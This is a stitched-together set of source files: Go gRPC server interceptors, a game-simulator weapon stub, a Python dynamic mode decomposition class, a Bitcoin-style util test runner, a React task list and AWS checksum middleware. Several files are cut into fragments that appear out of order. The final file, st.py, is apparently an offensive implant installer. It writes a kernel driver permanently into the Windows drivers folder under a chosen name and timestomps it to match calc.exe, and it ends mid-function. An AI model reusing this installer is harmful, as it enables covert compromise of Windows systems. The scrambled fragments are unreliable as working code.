e.g. 统计接口请求耗时 // st := xtime.NewTimeStat() // defer func() { // dur := st.Duration() // xlog.Infof(ctx, "monitor example, func: %s, req: %v, ctx: %v, duration: %v", info.FullMethod, req, ctx, dur) // }() // // // gRPC接口调用 (固定写法) // ret, err := handler(ctx, req) // // // 这里添加接口调用后的拦截器处理逻辑 // // e.g. 接口调用出错时打error日志 // if err != nil { // xlog.Warnf(ctx, "call grpc error, func: %s, req: %v, err: %v", info.FullMethod, req, err) // } // // return ret, err // } // serv := rocserv.NewGrpcServerWithInterceptors(monitorInterceptor) // RegisterChangeBoardServiceServer(serv.Server, new(GrpcChangeBoardServiceImpl)) // // 使用随机端口 // return "", serv //} func NewGrpcServerWithUnaryInterceptors(interceptors ...UnaryServerInterceptor) *GrpcServer { userUnaryInterceptors := convertUnaryInterceptors(interceptors...) gserv := &GrpcServer{ userUnaryInterceptors: userUnaryInterceptors, } // gRPC注册服务是在服务模板代码中的, 所以只能在NewServer时添加拦截器, 才能保证模板代码不需要调整 gserv.addExtraContextCancelInterceptor() s, err := gserv.buildServer() if err != nil { panic(err) } gserv.Server = s return gserv } func (g *GrpcServer) addExtraContextCancelInterceptor() { f := "GrpcServer.addExtraContextCancelInterceptor --> " ctx, cancelFunc := context.WithTimeout(context.Background(), 5*time.Second) defer cancelFunc() dr := newDriverBuilder(GetConfigCenter()) disableContextCancel := dr.isDisableContextCancel(ctx) xlog.Infof(ctx, "%s disableContextCancel: %v", f, disableContextCancel) if disableContextCancel { contextCancelInterceptor := newDisableContextCancelGrpcUnaryInterceptor() g.internalAddExtraInterceptors(contextCancelInterceptor) } } func getServerOptionFromApollo(ctx context.Context) []grpc.ServerOption { result := make([]grpc.ServerOption, 0) configCenter := GetConfigCenter() if configCenter == nil { return result } // max send msg size maxSend, ok := configCenter.GetInt(ctx, apolloGrpcMaxSendMsgSizeKey) if !ok { maxSend = defaultMaxSendMsgSize } configCenter.GetInt(ctx, apolloGrpcMaxSendMsgSizeKey) // max recv msg size maxRecv, ok := configCenter.GetInt(ctx, apolloGrpcMaxRecvMsgSizeKey) if !ok { maxRecv = defaultMaxRecvMsgSize } configCenter.GetInt(ctx, apolloGrpcMaxSendMsgSizeKey) result = append(result, grpc.MaxSendMsgSize(maxSend), grpc.MaxRecvMsgSize(maxRecv)) return result } func (g *GrpcServer) internalAddExtraInterceptors(extraInterceptors ...grpc.UnaryServerInterceptor) { g.extraUnaryInterceptors = append(g.extraUnaryInterceptors, extraInterceptors...) } func (g *GrpcServer) buildServer() (*grpc.Server, error) { var unaryInterceptors []grpc.UnaryServerInterceptor var streamInterceptors []grpc.StreamServerInterceptor // add tracer、monitor、recovery interceptor recoveryOpts := []grpc_recovery.Option{ grpc_recovery.WithRecoveryHandler(recoveryFunc), } unaryInterceptors = append(unaryInterceptors, grpc_recovery.UnaryServerInterceptor(recoveryOpts...), otgrpc.OpenTracingServerInterceptorWithGlobalTracer(otgrpc.SpanDecorator(apmSetSpanTagDecorator)), rateLimitInterceptor(), monitorServerInterceptor(), laneInfoServerInterceptor(), headInfoServerInterceptor(), ) userUnaryInterceptors := g.userUnaryInterceptors unaryInterceptors = append(unaryInterceptors, userUnaryInterceptors...) unaryInterceptors = append(unaryInterceptors, g.extraUnaryInterceptors...) streamInterceptors = append(streamInterceptors, rateLimitStreamServerInterceptor(), otgrpc.OpenTracingStreamServerInterceptorWithGlobalTracer(), monitorStreamServerInterceptor(), grpc_recovery.StreamServerInterceptor(recoveryOpts...)) var opts []grpc.ServerOption opts = append(opts, grpc.UnaryInterceptor(grpc_middleware.ChainUnaryServer(unaryInterceptors...))) opts = append(opts, grpc.StreamInterceptor(grpc_middleware.ChainStreamServer(streamInterceptors...))) opts = append(opts, getServerOptionFromApollo(context.Background())...) // 实例化grpc Server server := grpc.NewServer(opts...) return server, nil } func apmSetSpanTagDecorator(ctx context.Context, span opentracing.Span, method string, req, resp interface{}, grpcError error) { var hasError bool if ctx.Err() != nil { span.SetTag("error.ctx", true) hasError = true } if grpcError != nil { span.SetTag("error.grpc", true) hasError = true } if hasError { span.SetTag("error", true) } // set instance info tags sb := GetServBase() if sb != nil { span.SetTag("region", sb.Region()) span.SetTag("ip", sb.ServIp()) span.SetTag("lane", sb.Lane()) } } func convertUnaryInterceptors(interceptors ...UnaryServerInterceptor) []grpc.UnaryServerInterceptor { var ret []grpc.UnaryServerInterceptor for _, interceptor := range interceptors { ret = append(ret, convertUnaryInterceptor(interceptor)) } return ret } func convertUnaryInterceptor(interceptor UnaryServerInterceptor) grpc.UnaryServerInterceptor { return func(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (resp interface{}, err error) { return interceptor(ctx, req, convertUnaryServerInfo(info), convertUnaryHandler(handler)) } } func convertUnaryHandler(handler grpc.UnaryHandler) UnaryHandler { return UnaryHandler(handler) } func convertUnaryServerInfo(info *grpc.UnaryServerInfo) *UnaryServerInfo { return &UnaryServerInfo{ Server: info.Server, FullMethod: info.FullMethod, } } // rate limiter interceptor, should be before OpenTracingServerInterceptor and monitorServerInterceptor func rateLimitInterceptor() grpc.UnaryServerInterceptor { return func(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (resp interface{}, err error) { parts := strings.Split(info.FullMethod, "/") interfaceName := parts[len(parts)-1] // 暂时不支持按照调用方限流 caller := UNSPECIFIED_CALLER err = rateLimitRegistry.InterfaceRateLimit(ctx, interfaceName, caller) if err != nil { if err == rate_limit.ErrRateLimited { xlog.Warnf(ctx, "rate limited: method=%s, caller=%s", info.FullMethod, caller) } return nil, err } else { return handler(ctx, req) } } } // server rpc cost, record to log and prometheus func monitorServerInterceptor() grpc.UnaryServerInterceptor { return func(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (resp interface{}, err error) { group, service := GetGroupAndService() fun := info.FullMethod //TODO 先做兼容,后续再补上 _metricAPIRequestCount.With(xprom.LabelGroupName, group, xprom.LabelServiceName, service, xprom.LabelAPI, fun, xprom.LabelErrCode, "1").Inc() st := xtime.NewTimeStat() resp, err = handler(ctx, req) if isPrintRequestBody(info.FullMethod) { xlog.Infow(ctx, "", "func", fun, "req", req, "err", err, "cost", st.Millisecond()) } else { xlog.Infow(ctx, "", "func", fun, "err", err, "cost", st.Millisecond()) } _metricAPIRequestTime.With(xprom.LabelGroupName, group, xprom.LabelServiceName, service, xprom.LabelAPI, fun, xprom.LabelErrCode, "1").Observe(float64(st.Millisecond())) return resp, err } } // rate limiter interceptor, should be before OpenTracingStreamServerInterceptor and monitorStreamServerInterceptor func rateLimitStreamServerInterceptor() grpc.StreamServerInterceptor { return func(srv interface{}, ss grpc.ServerStream, info *grpc.StreamServerInfo, handler grpc.StreamHandler) error { ctx := context.Background() parts := strings.Split(info.FullMethod, "/") interfaceName := parts[len(parts)-1] // 暂时不支持按照调用方限流 caller := UNSPECIFIED_CALLER err := rateLimitRegistry.InterfaceRateLimit(ctx, interfaceName, caller) if err != nil { if err == rate_limit.ErrRateLimited { xlog.Warnf(ctx, "rate limited: method=%s, caller=%s", info.FullMethod, caller)
return handler(ctx, ss) } } } // stream server rpc cost, record to log and prometheus func monitorStreamServerInterceptor() grpc.StreamServerInterceptor { return func(srv interface{}, ss grpc.ServerStream, info *grpc.StreamServerInfo, handler grpc.StreamHandler) error { fun := info.FullMethod group, service := GetGroupAndService() //TODO 先做兼容,后续再补上 _metricAPIRequestCount.With(xprom.LabelGroupName, group, xprom.LabelServiceName, service, xprom.LabelAPI, fun, xprom.LabelErrCode, "1").Inc() st := xtime.NewTimeStat() err := handler(srv, ss) if isPrintRequestBody(info.FullMethod) { xlog.Infow(ss.Context(), "", "func", fun, "req", srv, "err", err, "cost", st.Millisecond()) } else { xlog.Infow(ss.Context(), "", "func", fun, "err", err, "cost", st.Millisecond()) } _metricAPIRequestTime.With(xprom.LabelGroupName, group, xprom.LabelServiceName, service, xprom.LabelAPI, fun, xprom.LabelErrCode, "1").Observe(float64(st.Millisecond())) return err } } func laneInfoServerInterceptor() grpc.UnaryServerInterceptor { return func(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (resp interface{}, err error) { md, ok := metadata.FromIncomingContext(ctx) if !ok { md = metadata.New(nil) } var lane string lanes := md[LaneInfoMetadataKey] if len(lanes) >= 1 { lane = lanes[0] } route := thriftutil.NewRoute() route.Group = lane control := thriftutil.NewControl() control.Route = route ctx = context.WithValue(ctx, xcontext.ContextKeyControl, control) return handler(ctx, req) } } func headInfoServerInterceptor() grpc.UnaryServerInterceptor { return func(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (resp interface{}, err error) { md, ok := metadata.FromIncomingContext(ctx) if !ok { md = metadata.New(nil) } var hlc, zoneName string var zone int32 values := md[xcontext.ContextPropertiesKeyHLC] if len(values) >= 1 { hlc = values[0] } values = md[xcontext.ContextPropertiesKeyZone] if len(values) >= 1 { zoneInt, err := strconv.Atoi(values[0]) if err == nil { zone = int32(zoneInt) } } values = md[xcontext.ContextPropertiesKeyZoneName] if len(values) >= 1 { zoneName = values[0] } ctx = xcontext.SetHeaderPropertiesALL(ctx, hlc, zone, zoneName) return handler(ctx, req) } } func recoveryFunc(p interface{}) (err error) { ctx := context.Background() const size = 4096 buf := make([]byte, size) buf = buf[:runtime.Stack(buf, false)] xlog.Errorf(ctx, "%v catch panic, stack: %s", p, string(buf)) return status.Errorf(codes.Internal, "panic triggered: %v", p) } func isPrintRequestBody(fullMethod string) bool { // 默认打印 methodName, err := getMethodName(fullMethod) if err != nil { return true } center := GetConfigCenter() printBodyMethod := printBodyMethod{} // 方法配置 _ = center.Unmarshal(context.Background(), &printBodyMethod) // 不打印的优先级更高 if methodInList(methodName, printBodyMethod.NoPrintMethodList) { return false } if methodInList(methodName, printBodyMethod.PrintMethodList) { return true } // 全局配置 isPrint, ok := center.GetBool(context.Background(), printRequestBodyKey) if !ok { // 默认输出 return true } return isPrint } // FullMethod is the full RPC method string, i.e., /package.service/method func getMethodName(fullMethod string) (string, error) { arr := strings.Split(fullMethod, "/") if len(arr) < 3 { return "", errors.New("full method is invalid") } return arr[2], nil } // 方法是否在列表中 func methodInList(name string, list []string) bool { for _, l := range list { if name == l { return true } } return false }
} return err } else {
dullblade.go
package dullblade import ( "github.com/genshinsim/gcsim/pkg/core" ) func init() { core.RegisterWeaponFunc("dullblade", weapon) } func
(char core.Character, c *core.Core, r int, param map[string]int) string { return "dullblade" }
weapon
hankeldmd.py
""" Derived module from dmdbase.py for hankel dmd. Reference: - H. Arbabi, I. Mezic, Ergodic theory, dynamic mode decomposition, and computation of spectral properties of the Koopman operator. SIAM Journal on Applied Dynamical Systems, 2017, 16.4: 2096-2126. """ from copy import copy import numpy as np from .dmdbase import DMDBase from .dmd import DMD class HankelDMD(DMDBase): """ Hankel Dynamic Mode Decomposition :param svd_rank: the rank for the truncation; If 0, the method computes the optimal rank and uses it for truncation; if positive interger, the method uses the argument for the truncation; if float between 0 and 1, the rank is the number of the biggest singular values that are needed to reach the 'energy' specified by `svd_rank`; if -1, the method does not compute truncation. :type svd_rank: int or float :param int tlsq_rank: rank truncation computing Total Least Square. Default is 0, that means no truncation. :param bool exact: flag to compute either exact DMD or projected DMD. Default is False. :param opt: argument to control the computation of DMD modes amplitudes. See :class:`DMDBase`. Default is False. :type opt: bool or int :param rescale_mode: Scale Atilde as shown in 10.1016/j.jneumeth.2015.10.010 (section 2.4) before computing its eigendecomposition. None means no rescaling, 'auto' means automatic rescaling using singular values, otherwise the scaling factors. :type rescale_mode: {'auto'} or None or numpy.ndarray :param bool forward_backward: If True, the low-rank operator is computed like in fbDMD (reference: https://arxiv.org/abs/1507.02264). Default is False. :param int d: the new order for spatial dimension of the input snapshots. Default is 1. :param sorted_eigs: Sort eigenvalues (and modes/dynamics accordingly) by magnitude if `sorted_eigs='abs'`, by real part (and then by imaginary part to break ties) if `sorted_eigs='real'`. Default: False. :type sorted_eigs: {'real', 'abs'} or False :param reconstruction_method: Method used to reconstruct the snapshots of the dynamical system from the multiple versions available due to how HankelDMD is conceived. If `'first'` (default) the first version available is selected (i.e. the nearest to the 0-th row in the augmented matrix). If `'mean'` we compute the element-wise mean. If `reconstruction_method` is an array of float values we compute the weighted average (for each snapshots) using the given values as weights (the number of weights must be equal to `d`). :type reconstruction_method: {'first', 'mean'} or array-like """ def __init__( self, svd_rank=0, tlsq_rank=0, exact=False, opt=False, rescale_mode=None, forward_backward=False, d=1, sorted_eigs=False, reconstruction_method="first", ): super().__init__( svd_rank=svd_rank, tlsq_rank=tlsq_rank, exact=exact, opt=opt, rescale_mode=rescale_mode, sorted_eigs=sorted_eigs, ) self._d = d if isinstance(reconstruction_method, list): if len(reconstruction_method) != d: raise ValueError( "The length of the array of weights must be equal to d" ) elif isinstance(reconstruction_method, np.ndarray): if ( reconstruction_method.ndim > 1 or reconstruction_method.shape[0] != d ): raise ValueError( "The length of the array of weights must be equal to d" ) self._reconstruction_method = reconstruction_method self._sub_dmd = DMD( svd_rank=svd_rank, tlsq_rank=tlsq_rank, exact=exact, opt=opt, rescale_mode=rescale_mode, forward_backward=forward_backward, sorted_eigs=sorted_eigs, ) @property def d(self): """The new order for spatial dimension of the input snapshots.""" return self._d def _hankel_first_occurrence(self, time):
def _update_sub_dmd_time(self): """ Update the time dictionaries (`dmd_time` and `original_time`) of the auxiliary DMD instance `HankelDMD._sub_dmd` after an update of the time dictionaries of the time dictionaries of this instance of the higher level instance of `HankelDMD`. """ self._sub_dmd.dmd_time["t0"] = self._hankel_first_occurrence( self.dmd_time["t0"] ) self._sub_dmd.dmd_time["tend"] = self._hankel_first_occurrence( self.dmd_time["tend"] ) def reconstructions_of_timeindex(self, timeindex=None): """ Build a collection of all the available versions of the given `timeindex`. The indexing of time instants is the same used for :func:`reconstructed_data`. For each time instant there are at least one and at most `d` versions. If `timeindex` is `None` the function returns the whole collection, for all the time instants. :param int timeindex: The index of the time snapshot. :return: a collection of all the available versions for the given time snapshot, or for all the time snapshots if `timeindex` is `None` (in the second case, time varies along the first dimension of the array returned). :rtype: numpy.ndarray or list """ self._update_sub_dmd_time() rec = self._sub_dmd.reconstructed_data space_dim = rec.shape[0] // self.d time_instants = rec.shape[1] + self.d - 1 # for each time instance, we collect all its appearences. each # snapshot appears at most d times (for instance, the first appears # only once). reconstructed_snapshots = np.full( (time_instants, self.d, space_dim), np.nan, dtype=rec.dtype ) c_idxes = ( np.array(range(self.d))[:, None] .repeat(2, axis=1)[None, :] .repeat(rec.shape[1], axis=0) ) c_idxes[:, :, 0] += np.array(range(rec.shape[1]))[:, None] reconstructed_snapshots[c_idxes[:, :, 0], c_idxes[:, :, 1]] = np.array( np.swapaxes(np.split(rec.T, self.d, axis=1), 0, 1) ) if timeindex is None: return reconstructed_snapshots return reconstructed_snapshots[timeindex] def _first_reconstructions(self, reconstructions): """Return the first occurrence of each snapshot available in the given matrix (which must be the result of `self._sub_dmd.reconstructed_data`, or have the same shape). :param reconstructions: A matrix of (higher-order) snapshots having shape `(space*self.d, time_instants)` :type reconstructions: np.ndarray :return: The first snapshot that occurs in `reconstructions` for each available time instant. :rtype: np.ndarray """ first_nonmasked_idx = np.repeat( np.array(range(reconstructions.shape[0]))[:, None], 2, axis=1 ) first_nonmasked_idx[self.d - 1 :, 1] = self.d - 1 return reconstructions[ first_nonmasked_idx[:, 0], first_nonmasked_idx[:, 1] ].T @property def reconstructed_data(self): self._update_sub_dmd_time() rec = self.reconstructions_of_timeindex() rec = np.ma.array(rec, mask=np.isnan(rec)) if self._reconstruction_method == "first": result = self._first_reconstructions(rec) elif self._reconstruction_method == "mean": result = np.mean(rec, axis=1).T elif isinstance(self._reconstruction_method, (np.ndarray, list)): result = np.average( rec, axis=1, weights=self._reconstruction_method ).T else: raise ValueError( "The reconstruction method wasn't recognized: {}".format( self._reconstruction_method ) ) # we want to return only the requested timesteps time_index = min( self.d - 1, int( (self.dmd_time["t0"] - self.original_time["t0"]) // self.dmd_time["dt"] ), ) result = result[:, time_index : time_index + len(self.dmd_timesteps)] return result.filled(fill_value=0) def _pseudo_hankel_matrix(self, X): """ Method for arranging the input snapshots `X` into the (pseudo) Hankel matrix. The attribute `d` controls the shape of the output matrix. :Example: >>> from pydmd import HankelDMD >>> dmd = HankelDMD(d=2) >>> a = np.array([[1, 2, 3, 4, 5]]) >>> dmd._pseudo_hankel_matrix(a) array([[1, 2, 3, 4], [2, 3, 4, 5]]) >>> dmd = pydmd.hankeldmd.HankelDMD(d=4) >>> dmd._pseudo_hankel_matrix(a) array([[1, 2], [2, 3], [3, 4], [4, 5]]) """ return np.concatenate( [X[:, i : X.shape[1] - self.d + i + 1] for i in range(self.d)], axis=0, ) @property def modes(self): return self._sub_dmd.modes @property def eigs(self): return self._sub_dmd.eigs @property def amplitudes(self): return self._sub_dmd.amplitudes @property def operator(self): return self._sub_dmd.operator @property def svd_rank(self): return self._sub_dmd.svd_rank @property def modes_activation_bitmask(self): return self._sub_dmd.modes_activation_bitmask @modes_activation_bitmask.setter def modes_activation_bitmask(self, value): self._sub_dmd.modes_activation_bitmask = value # due to how we implemented HankelDMD we need an alternative implementation # of __getitem__ def __getitem__(self, key): """ Restrict the DMD modes used by this instance to a subset of indexes specified by keys. The value returned is a shallow copy of this DMD instance, with a different value in :func:`modes_activation_bitmask`. Therefore assignments to attributes are not reflected into the original instance. However the DMD instance returned should not be used for low-level manipulations on DMD modes, since the underlying DMD operator is shared with the original instance. For this reasons modifications to NumPy arrays may result in unwanted and unspecified situations which should be avoided in principle. :param key: An index (integer), slice or list of indexes. :type key: int or slice or list or np.ndarray :return: A shallow copy of this DMD instance having only a subset of DMD modes which are those indexed by `key`. :rtype: HankelDMD """ sub_dmd_copy = copy(self._sub_dmd) sub_dmd_copy.allocate_proxy() shallow_copy = copy(self) shallow_copy._sub_dmd = sub_dmd_copy return DMDBase.__getitem__(shallow_copy, key) def fit(self, X): """ Compute the Dynamic Modes Decomposition to the input data. :param X: the input snapshots. :type X: numpy.ndarray or iterable """ snp, self._snapshots_shape = self._col_major_2darray(X) self._snapshots = self._pseudo_hankel_matrix(snp) self._sub_dmd.fit(self._snapshots) # Default timesteps n_samples = snp.shape[1] self._set_initial_time_dictionary( {"t0": 0, "tend": n_samples - 1, "dt": 1} ) return self
r""" For a given `t` such that there is :math:`k \in \mathbb{N}` such that :math:`t = t_0 + k dt`, return the index of the first column in Hankel pseudo matrix (see also :func:`_pseudo_hankel_matrix`) which contains the snapshot corresponding to `t`. :param time: The time corresponding to the requested snapshot. :return: The index of the first appeareance of `time` in the columns of Hankel pseudo matrix. :rtype: int """ return max( 0, (time - self.original_time["t0"]) // self.dmd_time["dt"] - (self.original_time["t0"] + self.d - 1), )
bitcoin-util-test.py
#!/usr/bin/env python3 # Copyright 2014 BitPay Inc. # Copyright 2016-2017 The Bitcoin Core developers
Runs automatically during `make check`. Can also be run manually.""" from __future__ import division,print_function,unicode_literals import argparse import binascii try: import configparser except ImportError: import ConfigParser as configparser import difflib import json import logging import os import pprint import subprocess import sys def main(): config = configparser.ConfigParser() config.optionxform = str config.read_file(open(os.path.join(os.path.dirname(__file__), "../config.ini"), encoding="utf8")) env_conf = dict(config.items('environment')) parser = argparse.ArgumentParser(description=__doc__) parser.add_argument('-v', '--verbose', action='store_true') args = parser.parse_args() verbose = args.verbose if verbose: level = logging.DEBUG else: level = logging.ERROR formatter = '%(asctime)s - %(levelname)s - %(message)s' # Add the format/level to the logger logging.basicConfig(format=formatter, level=level) bctester(os.path.join(env_conf["SRCDIR"], "test", "util", "data"), "bitcoin-util-test.json", env_conf) def bctester(testDir, input_basename, buildenv): """ Loads and parses the input file, runs all tests and reports results""" input_filename = os.path.join(testDir, input_basename) raw_data = open(input_filename, encoding="utf8").read() input_data = json.loads(raw_data) failed_testcases = [] for testObj in input_data: try: bctest(testDir, testObj, buildenv) logging.info("PASSED: " + testObj["description"]) except: logging.info("FAILED: " + testObj["description"]) failed_testcases.append(testObj["description"]) if failed_testcases: error_message = "FAILED_TESTCASES:\n" error_message += pprint.pformat(failed_testcases, width=400) logging.error(error_message) sys.exit(1) else: sys.exit(0) def bctest(testDir, testObj, buildenv): """Runs a single test, comparing output and RC to expected output and RC. Raises an error if input can't be read, executable fails, or output/RC are not as expected. Error is caught by bctester() and reported. """ # Get the exec names and arguments execprog = os.path.join(buildenv["BUILDDIR"], "src", testObj["exec"] + buildenv["EXEEXT"]) execargs = testObj['args'] execrun = [execprog] + execargs # Read the input data (if there is any) stdinCfg = None inputData = None if "input" in testObj: filename = os.path.join(testDir, testObj["input"]) inputData = open(filename, encoding="utf8").read() stdinCfg = subprocess.PIPE # Read the expected output data (if there is any) outputFn = None outputData = None outputType = None if "output_cmp" in testObj: outputFn = testObj['output_cmp'] outputType = os.path.splitext(outputFn)[1][1:] # output type from file extension (determines how to compare) try: outputData = open(os.path.join(testDir, outputFn), encoding="utf8").read() except: logging.error("Output file " + outputFn + " can not be opened") raise if not outputData: logging.error("Output data missing for " + outputFn) raise Exception if not outputType: logging.error("Output file %s does not have a file extension" % outputFn) raise Exception # Run the test proc = subprocess.Popen(execrun, stdin=stdinCfg, stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=True) try: outs = proc.communicate(input=inputData) except OSError: logging.error("OSError, Failed to execute " + execprog) raise if outputData: data_mismatch, formatting_mismatch = False, False # Parse command output and expected output try: a_parsed = parse_output(outs[0], outputType) except Exception as e: logging.error('Error parsing command output as %s: %s' % (outputType, e)) raise try: b_parsed = parse_output(outputData, outputType) except Exception as e: logging.error('Error parsing expected output %s as %s: %s' % (outputFn, outputType, e)) raise # Compare data if a_parsed != b_parsed: logging.error("Output data mismatch for " + outputFn + " (format " + outputType + ")") data_mismatch = True # Compare formatting if outs[0] != outputData: error_message = "Output formatting mismatch for " + outputFn + ":\n" error_message += "".join(difflib.context_diff(outputData.splitlines(True), outs[0].splitlines(True), fromfile=outputFn, tofile="returned")) logging.error(error_message) formatting_mismatch = True assert not data_mismatch and not formatting_mismatch # Compare the return code to the expected return code wantRC = 0 if "return_code" in testObj: wantRC = testObj['return_code'] if proc.returncode != wantRC: logging.error("Return code mismatch for " + outputFn) raise Exception if "error_txt" in testObj: want_error = testObj["error_txt"] # Compare error text # TODO: ideally, we'd compare the strings exactly and also assert # That stderr is empty if no errors are expected. However, nbx-tx # emits DISPLAY errors when running as a windows application on # linux through wine. Just assert that the expected error text appears # somewhere in stderr. if want_error not in outs[1]: logging.error("Error mismatch:\n" + "Expected: " + want_error + "\nReceived: " + outs[1].rstrip()) raise Exception def parse_output(a, fmt): """Parse the output according to specified format. Raise an error if the output can't be parsed.""" if fmt == 'json': # json: compare parsed data return json.loads(a) elif fmt == 'hex': # hex: parse and compare binary data return binascii.a2b_hex(a.strip()) else: raise NotImplementedError("Don't know how to compare %s" % fmt) if __name__ == '__main__': main()
# Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. """Test framework for pivx utils.
TaskList.tsx
import { useState } from 'react' import '../styles/tasklist.scss' import { FiTrash, FiCheckSquare } from 'react-icons/fi' interface Task { id: number; title: string; isComplete: boolean; } export function TaskList() { const [tasks, setTasks] = useState<Task[]>([]); const [newTaskTitle, setNewTaskTitle] = useState(''); const idRandom = Math.random(); function
() { if (!newTaskTitle) return; const newTask = { id: idRandom, title: newTaskTitle, isComplete: false } setTasks([...tasks, newTask]); setNewTaskTitle(''); } function handleToggleTaskCompletion(id: number) { const foundTaskIndex = tasks.findIndex(task => task.id === id); const newTask = { ...tasks[foundTaskIndex], isComplete: !tasks[foundTaskIndex].isComplete } const newTasks = tasks.map( task => { if(task.id === id) { return newTask; } else return task; }); setTasks(newTasks); } function handleRemoveTask(id: number) { const newTaskList = tasks.filter(task => task.id !== id) setTasks(newTaskList); } return ( <section className="task-list container"> <header> <h2>Minhas tasks</h2> <div className="input-group"> <input type="text" placeholder="Adicionar novo todo" onChange={(e) => setNewTaskTitle(e.target.value)} value={newTaskTitle} /> <button type="submit" data-testid="add-task-button" onClick={handleCreateNewTask}> <FiCheckSquare size={16} color="#fff"/> </button> </div> </header> <main> <ul> {tasks.map(task => ( <li key={task.id}> <div className={task.isComplete ? 'completed' : ''} data-testid="task" > <label className="checkbox-container"> <input type="checkbox" readOnly checked={task.isComplete} onClick={() => handleToggleTaskCompletion(task.id)} /> <span className="checkmark"></span> </label> <p>{task.title}</p> </div> <button type="button" data-testid="remove-task-button" onClick={() => handleRemoveTask(task.id)}> <FiTrash size={16}/> </button> </li> ))} </ul> </main> </section> ) }
handleCreateNewTask
middleware_setup_context.go
package checksum import ( "context" "github.com/aws/smithy-go/middleware" ) // setupChecksumContext is the initial middleware that looks up the input // used to configure checksum behavior. This middleware must be executed before // input validation step or any other checksum middleware. type setupInputContext struct { // GetAlgorithm is a function to get the checksum algorithm of the // input payload from the input parameters. // // Given the input parameter value, the function must return the algorithm // and true, or false if no algorithm is specified. GetAlgorithm func(interface{}) (string, bool) } // ID for the middleware func (m *setupInputContext) ID() string { return "AWSChecksum:SetupInputContext" } // HandleInitialize initialization middleware that setups up the checksum // context based on the input parameters provided in the stack. func (m *setupInputContext) HandleInitialize( ctx context.Context, in middleware.InitializeInput, next middleware.InitializeHandler, ) ( out middleware.InitializeOutput, metadata middleware.Metadata, err error, ) { // Check if validation algorithm is specified. if m.GetAlgorithm != nil { // check is input resource has a checksum algorithm algorithm, ok := m.GetAlgorithm(in.Parameters) if ok && len(algorithm) != 0 { ctx = setContextInputAlgorithm(ctx, algorithm) } } return next.HandleInitialize(ctx, in) } // inputAlgorithmKey is the key set on context used to identify, retrieves the // request checksum algorithm if present on the context. type inputAlgorithmKey struct{} // setContextInputAlgorithm sets the request checksum algorithm on the context. // // Scoped to stack values. func setContextInputAlgorithm(ctx context.Context, value string) context.Context { return middleware.WithStackValue(ctx, inputAlgorithmKey{}, value) } // getContextInputAlgorithm returns the checksum algorithm from the context if // one was specified. Empty string is returned if one is not specified. //
func getContextInputAlgorithm(ctx context.Context) (v string) { v, _ = middleware.GetStackValue(ctx, inputAlgorithmKey{}).(string) return v } type setupOutputContext struct { // GetValidationMode is a function to get the checksum validation // mode of the output payload from the input parameters. // // Given the input parameter value, the function must return the validation // mode and true, or false if no mode is specified. GetValidationMode func(interface{}) (string, bool) } // ID for the middleware func (m *setupOutputContext) ID() string { return "AWSChecksum:SetupOutputContext" } // HandleInitialize initialization middleware that setups up the checksum // context based on the input parameters provided in the stack. func (m *setupOutputContext) HandleInitialize( ctx context.Context, in middleware.InitializeInput, next middleware.InitializeHandler, ) ( out middleware.InitializeOutput, metadata middleware.Metadata, err error, ) { // Check if validation mode is specified. if m.GetValidationMode != nil { // check is input resource has a checksum algorithm mode, ok := m.GetValidationMode(in.Parameters) if ok && len(mode) != 0 { ctx = setContextOutputValidationMode(ctx, mode) } } return next.HandleInitialize(ctx, in) } // outputValidationModeKey is the key set on context used to identify if // output checksum validation is enabled. type outputValidationModeKey struct{} // setContextOutputValidationMode sets the request checksum // algorithm on the context. // // Scoped to stack values. func setContextOutputValidationMode(ctx context.Context, value string) context.Context { return middleware.WithStackValue(ctx, outputValidationModeKey{}, value) } // getContextOutputValidationMode returns response checksum validation state, // if one was specified. Empty string is returned if one is not specified. // // Scoped to stack values. func getContextOutputValidationMode(ctx context.Context) (v string) { v, _ = middleware.GetStackValue(ctx, outputValidationModeKey{}).(string) return v }
// Scoped to stack values.
st.py
import ops, ops.menu, ops.data, ops.cmd import dsz, dsz.ui, dsz.version, dsz.windows import os.path from random import randint stVersion = '1.14' def getimplantID(): id = int(randint(0, 4294967295L)) return id def regadd(regaddcommand): value = None if ('value' in regaddcommand.optdict): value = regaddcommand.optdict['value'] else: value = regaddcommand.optdict['key'] (safe, reason) = regaddcommand.safetyCheck() if (not safe): dsz.ui.Echo(('Cannot execute the registryadd command (for value %s) because of a failed safety check: \n%s' % (value, reason)), dsz.ERROR) return 0 regaddres = regaddcommand.execute() if regaddcommand.success: dsz.ui.Echo(('Successfully added %s key.' % value), dsz.GOOD) return 1 else: dsz.ui.Echo(('Failed to add %s key!' % value), dsz.ERROR) return 0 def install(passed_menu=None): optdict = passed_menu.all_states() if verifyinstalled(passed_menu): dsz.ui.Echo('ST looks like it is already installed!', dsz.ERROR) return 0 drivername = optdict['Configuration']['Driver Name'] implantID = optdict['Configuration']['Implant ID'] dsz.ui.Echo(('==Installing %s==' % drivername), dsz.WARNING) localdriverpath = os.path.join(ops.RESDIR, 'ST1.14', 'mstcp32.sys') if verifydriver(passed_menu): if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 else: putcmd = ops.cmd.getDszCommand(('put %s -name %s -permanent' % (localdriverpath, os.path.join(dsz.path.windows.GetSystemPath(), 'drivers', ('%s.sys' % drivername))))) (safe, reason) = putcmd.safetyCheck() if (not safe): dsz.ui.Echo(('Cannot execute the put command because of a failed safety check: \n%s' % reason), dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 putres = putcmd.execute() if putcmd.success: dsz.ui.Echo(('Successfully put ST up as %s.' % drivername), dsz.GOOD) else: dsz.ui.Echo(('Put of ST as %s failed!' % drivername), dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 matchfiletimescmd = ops.cmd.getDszCommand('matchfiletimes', src=os.path.join(dsz.path.windows.GetSystemPath(), 'calc.exe'), dst=os.path.join(dsz.path.windows.GetSystemPath(), 'drivers', ('%s.sys' % drivername))) (safe, reason) = matchfiletimescmd.safetyCheck() if (not safe): dsz.ui.Echo(('Cannot execute the matchfiletimes command because of a failed safety check: \n%s' % reason), 